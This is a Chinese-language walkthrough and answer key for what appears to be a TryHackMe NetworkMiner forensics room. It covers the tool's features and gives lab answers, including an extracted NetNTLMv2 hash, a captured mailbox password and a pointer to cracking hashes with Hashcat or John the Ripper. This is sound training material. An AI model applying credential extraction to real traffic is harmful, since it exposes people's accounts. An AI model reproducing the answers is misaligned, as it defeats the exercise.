| 操作系統指紋識別 | 它可以通過讀取pcap文件來識別所使用的操作系統。此功能高度依賴於 Satori 和 p0f。 |
| 文件提取 | 它可以從解析後的pcap文件中提取圖像、HTML 文件和電子郵件。 |
| 憑證竊取 | 它可以從解析後的pcap文件中提取憑據。 |
| 明文關鍵詞解析 | 它可以從解析後的pcap文件中提取明文關鍵字和字符串。 |
我們在這個房間裏使用的是 NetworkMiner 免費版,但專業版的功能要豐富得多。您可以在這裏:https://www.netresec.com/?page=NetworkMiner查看免費版和專業版之間的區別 。
操作模式
主要有兩種運行模式:
- 嗅探模式:雖然它具備嗅探功能,但並非設計用於作為嗅探器使用。嗅探功能僅在 Windows 系統上可用。不過,其他功能在 Windows 和Linux 操作系統上均可用。根據經驗,嗅探功能的可靠性不如其他功能。因此,我們建議不要將此工具用作主要嗅探器。即使該工具的官方描述中提到它是“網絡取證分析工具”,但它也可以用作“嗅探器”。換句話説,它是一款網絡取證分析工具,雖然具備嗅探功能,但它並非像 Wireshark 和 tcpdump 那樣的專用嗅探器。
- 數據包解析/處理:NetworkMiner 可以解析流量捕獲數據,以便快速概覽和了解所分析的捕獲數據。建議主要使用此操作模式,以便在深入調查之前先獲取“唾手可得”的信息。
優點和缺點
如前文所述,NetworkMiner 主要用於獲取網絡概覽。在開始分析流量數據之前,我們先來看看 NetworkMiner 的優缺點。
優點
- 操作系統指紋識別
- 輕鬆提取文件
- 憑證竊取
- 明文關鍵詞解析
- 總體概述
缺點
- 在主動嗅探中不起作用
- 不適用於大型pcap分析
- 有限過濾
- 並非為人工交通調查而設計
Wireshark 和 NetworkMiner 的區別
NetworkMiner 和 Wireshark 的基本功能相似,但用途不同。雖然主要功能相同,但某些功能在特定應用場景下更為強大。
最佳實踐是記錄流量以進行離線分析,使用 NetworkMiner 快速查看pcap 文件,然後使用 Wireshark 進行深入調查。
| 特徵 | 網絡礦工 | Wireshark |
|---|---|---|
| 目的 | 快速概覽、交通地圖和數據提取 | 深入分析 |
| 圖形用户界面 | ✅ | ✅ |
| 嗅聞 | ✅ | ✅ |
| 處理PCAP | ✅ | ✅ |
| 操作系統指紋識別 | ✅ | ❌ |
| 參數/關鍵詞發現 | ✅ | 手動的 |
| 憑證發現 | ✅ | ✅ |
| 文件提取 | ✅ | ✅ |
| 篩選選項 | 有限的 | ✅ |
| 數據包解碼 | 有限的 | ✅ |
| 方案分析 | ❌ | ✅ |
| 有效載荷分析 | ❌ | ✅ |
| 統計分析 | ❌ | ✅ |
| 跨平台支持 | ✅ | ✅ |
| 主機分類 | ✅ | ❌ |
| 易於管理 | ✅ | ✅ |
工具概述 1
首頁
這是 NetworkMiner 的首頁。打開應用程序後,就會加載此屏幕。
文件菜單
文件菜單可幫助您加載Pcap文件或通過 IP 接收Pcap 文件。您也可以拖放Pcap文件。NetworkMiner 也支持通過 IP 接收 Pcap 文件。本房間建議將 NetworkMiner 作為初步調查工具,用於獲取易於獲取的信息和流量概覽。因此,本房間將跳過通過 IP 接收 Pcap 文件的講解。您可以點擊此處:https://www.netresec.com/?page=Blog&month=2011-09&post=Pcap-over-IP-in-NetworkMiner 和 此處:http://www.gavinhollinger.com/2016/10/pcap-over-ip-to-networkminer.html閲讀有關通過 IP 接收Pcap 文件的更多信息。
工具菜單
工具菜單可幫助您清除儀表板並刪除已捕獲的數據。
幫助菜單
幫助菜單提供有關更新和當前版本的信息。
機箱面板
案例面板顯示已調查的pcap文件列表。您可以從此面板重新加載/刷新、查看元數據詳細信息以及刪除已加載的文件。
查看已加載文件的元數據
下圖展示瞭如何查看已加載文件的元數據
主機
“主機”菜單顯示pcap文件中已識別的主機。本部分提供以下信息:
- IP地址
- MAC地址
- 操作系統類型
- 開放端口
- 已發送/已接收數據包
- 傳入/傳出會話
- 房東詳情
操作系統指紋識別使用 Satori GitHub 倉庫和 p0f,MAC 地址數據庫使用 mac-ages GitHub 倉庫。
您可以使用排序菜單對已識別的主機進行排序。您還可以更改主機的顏色。某些功能(例如開源情報查找)僅在高級版中可用。右鍵菜單還可以幫助您複製選定的值。
會話
會話菜單顯示pcap文件中檢測到的會話。本部分提供以下信息:
- 車架號
- 客户端和服務器地址
- 始發港和目的港
- 協議
- 開始時間
您可以使用篩選欄在框架內搜索關鍵詞。也可以篩選會話菜單的特定列。此菜單接受四種類型的輸入;
- “精確短語”
- “AllWords”
- “AnyWord”
- 正則表達式
DNS
DNS菜單顯示DNS查詢的詳細信息。本部分提供以下信息:
- 車架號
- 時間戳
- 客户端和服務器
- 始發港和目的港
- IP TTL
- DNS時間
- 交易 ID 和類型
- DNS查詢和應答
- Alexa排名前100萬
部分功能(例如 Alexa Top 1M)僅在高級版中可用。搜索欄也在此版本中可用。
證書
憑據菜單顯示從已分析的 pcap 文件中提取的憑據和密碼哈希 值 。您可以使用 Hashcat (GitHub)和 John the Ripper (GitHub)解密提取的憑據。NetworkMiner 可以提取的憑據包括:
- Kerberos哈希
- NTLM哈希
- RDP cookie
- HTTP Cookie
- HTTP請求
- IMAP
- FTP
- SMTP
- MS SQL
右鍵菜單在這裏也很有用。您可以輕鬆複製用户名和密碼。
總共有多少幀?
460
有多少個 IP 地址與主機 145.253.2.203 使用相同的 MAC 地址?
2
主機 65.208.228.223 發送了多少個數據包?
72
主機 65.208.228.223 下的 Web 服務器的banner,即指紋類型是什麼?
apache
02694W-WIN10 主機的提取用户名是什麼?
#B\Administrator
登錄到 02694W-WIN10 主機的用户的已提取密碼是什麼?請輸入完整的 NTLM 哈希值。
$NETNTLMv2$#B$136B077D942D9A63$FBFF3C253926907AAAAD670A9037F2A5$01010000000000000094D71AE38CD60170A8D571127AE49E00000000020004003300420001001E003000310035003600360053002D00570049004E00310036002D004900520004001E0074006800720065006500620065006500730063006F002E0063006F006D0003003E003000310035003600360073002D00770069006E00310036002D00690072002E0074006800720065006500620065006500730063006F002E0063006F006D0005001E0074006800720065006500620065006500730063006F002E0063006F006D00070008000094D71AE38CD601060004000200000008003000300000000000000000000000003000009050B30CECBEBD73F501D6A2B88286851A6E84DDFAE1211D512A6A5A72594D340A001000000000000000000000000000000000000900220063006900660073002F003100370032002E00310036002E00360036002E0033003600000000000000000000000000
工具概述 2
文件
文件菜單顯示從已分析的 pcap 文件中提取的文件。本部分提供以下信息:
- 車架號
- 文件名
- 擴大
- 尺寸
- 源地址和目標地址
- 始發港和目的港
- 協議
- 時間戳
- 重建路徑
- 細節
部分功能(例如開源情報哈希值查找和樣本提交)僅在高級版中可用。搜索欄也在此處可用。右鍵菜單在此也十分實用。您可以輕鬆打開文件和文件夾,並查看文件的詳細信息。
圖片
文件菜單顯示從分析的 pcap 文件中提取的圖像。右鍵菜單在這裏也很有用。您可以輕鬆打開文件並放大縮小。
將鼠標懸停在圖像上,即可顯示文件的詳細信息(源地址、目標地址和文件路徑)。
參數
文件菜單顯示從所分析的 pcap 文件中提取的參數。本部分提供以下信息:
- 參數名稱
- 參數值
- 車架號
- 源主機和目標主機
- 始發港和目的港
- 時間戳
- 細節
右鍵菜單在這裏也很有用。您可以輕鬆複製參數和值。
關鍵詞(keyword)
文件菜單顯示從已分析的 pcap 文件中提取的關鍵詞。本部分提供以下信息:
- 車架號
- 時間戳
- 關鍵詞
- 語境
- 源主機和目標主機
- 始發港和目的港
如何篩選關鍵詞:
- 添加關鍵詞
- 重新加載案件檔案!
注意: 您可以在此部分篩選多個關鍵詞;但是,更新搜索關鍵詞後,您必須重新加載案例文件。關鍵詞搜索會搜索已處理 pcap 文件中的所有可能數據。
消息
消息菜單顯示從已調查的 pcap 文件中提取的電子郵件、聊天記錄和消息。本部分提供以下信息:
- 車架號
- 源主機和目標主機
- 協議
- 發件人(From)
- 接收器(至)
- 時間戳
- 尺寸
篩選流量並找到匹配項後,您將看到所選郵件的更多詳細信息,例如附件和屬性。請注意,此處也提供搜索欄。右鍵菜單也在此處可用。您可以使用內置查看器查看整體信息,並使用“打開文件”選項瀏覽附件。
異常
異常菜單會顯示已處理pcap文件中檢測到的異常。請注意,NetworkMiner 並非入侵檢測系統(IDS)。但是,開發者添加了一些針對 EternalBlue 漏洞利用和欺騙攻擊的檢測功能。
請回答以下問題
與幀 63075 關聯的文件中提到的 Linux 發行版的名稱是什麼?
打開對應的文件即可發現是什麼操作系統
CentOS
與第 75942 幀關聯的頁面的頁眉是什麼?
同理打開對應的幀文件
Password-Ned AB
圖片“ads.bmp.2E5F0FD9[1].bmp”的源地址是什麼?
篩選關鍵字或者你直接去找圖片
80.239.178.187
可能出現TLS異常的幀號是多少?
36255
查看郵件內容。哪個平台發送了主題以“您還有更多”開頭的郵件?
點開message的頁面tab即可知道
Facebook
Branson Matheson的電子郵件地址是什麼?
同理查看message
branson@sandsite.org
版本差異
和往常一樣,隨着版本升級,功能改進也在所難免。版本升級通常會帶來穩定性提升、安全修復和新功能。這裏提到的功能部分比較複雜。功能升級可能包括實現新功能,也可能包括更新現有功能(例如優化、修改或操作模式調整)。您可以隨時在此處:https://www.netresec.com/?page=NetworkMiner查看更新日誌。
由於不同版本之間存在一些顯著差異,因此提供的虛擬機同時包含了兩個主要版本(v1.6 和 v2.7)。當然,隨着程序版本的提升,功能和範圍也會相應增加。以下是版本 1.6 和 2.7 之間的主要區別。具體如下:
MAC地址處理
NetworkMiner 2 及更高版本可以處理 MAC 地址關聯,如下圖所示。此選項可幫助您識別是否存在 MAC 地址衝突。2 及更早版本不具備此功能。
NetworkMiner 1.6 及更早版本可以更詳細地處理數據包。這些選項可以幫助您以更詳細的格式分析已發送/已接收的數據包。1.6 及更高版本不再提供此功能。
幀處理
NetworkMiner 1.6 及更早版本支持幀處理。此選項提供幀的數量以及幀的基本信息。1.6 及更高版本不再提供此功能。
參數處理
NetworkMiner 2 及更高版本可以處理更全面的參數。因此,1.6.xx 版本支持的參數比 2 版本少。
NetworkMiner 1.6 及更早版本可以處理明文數據。此選項會在單個標籤頁中顯示所有提取的明文數據,便於分析流量數據的明文信息。但是,無法將明文數據與數據包進行匹配。1.6 及更高版本不再提供此功能。
請回答以下問題。
哪個版本可以檢測重複的MAC地址?
2.7
哪個版本可以處理幀?
1.6
哪個版本可以提供更詳細的數據包信息?
1.6
練習
主機 131.151.37.122 的操作系統名稱是什麼?
Windows - Windows NT 4
調查主機 131.151.37.122 和 131.151.32.91。
通過端口 1065 從主機 131.151.32.91 向主機 131.151.37.122 接收了多少字節的數據?
這裏問的是1065端口,不能直接看received,邀去看sessions那裏看對應的端口字節數,還要看是主機131.151.32.91 向主機 131.151.37.122接收的數據
192
調查主機 131.151.37.122 和 131.151.32.21。
通過端口 143 從主機 131.151.37.122 向主機 131.151.32.21 接收了多少字節的數據?
20769
第 9 幀的序列號是多少?
2AD77400
檢測到的“內容類型”有多少種?
2
該USB產品的品牌名稱是什麼?
向下瀏覽結果,我發現一個特別之處。在“文件名”列中,我們看到 hi-Speed-usb2.0_ax99772.htm。我認為這表明它指的是實際的 USB 設備。因此,如果我們向右移動到“源主機”列,可以看到一個域名,這個域名就是 USB 設備的品牌,也是這個問題的答案。找到答案後,將其輸入到 TryHackMe 的答案字段中,然後點擊提交。
ASIX
請問這款手機的型號是什麼?
Lumia 535
這張魚的圖片來源IP地址是什麼?
50.22.95.9
“homer.pwned.se@gmx.com”的密碼是什麼?
spring2015
第 62001 幀的 DNS 查詢是什麼?
pop.gmx.com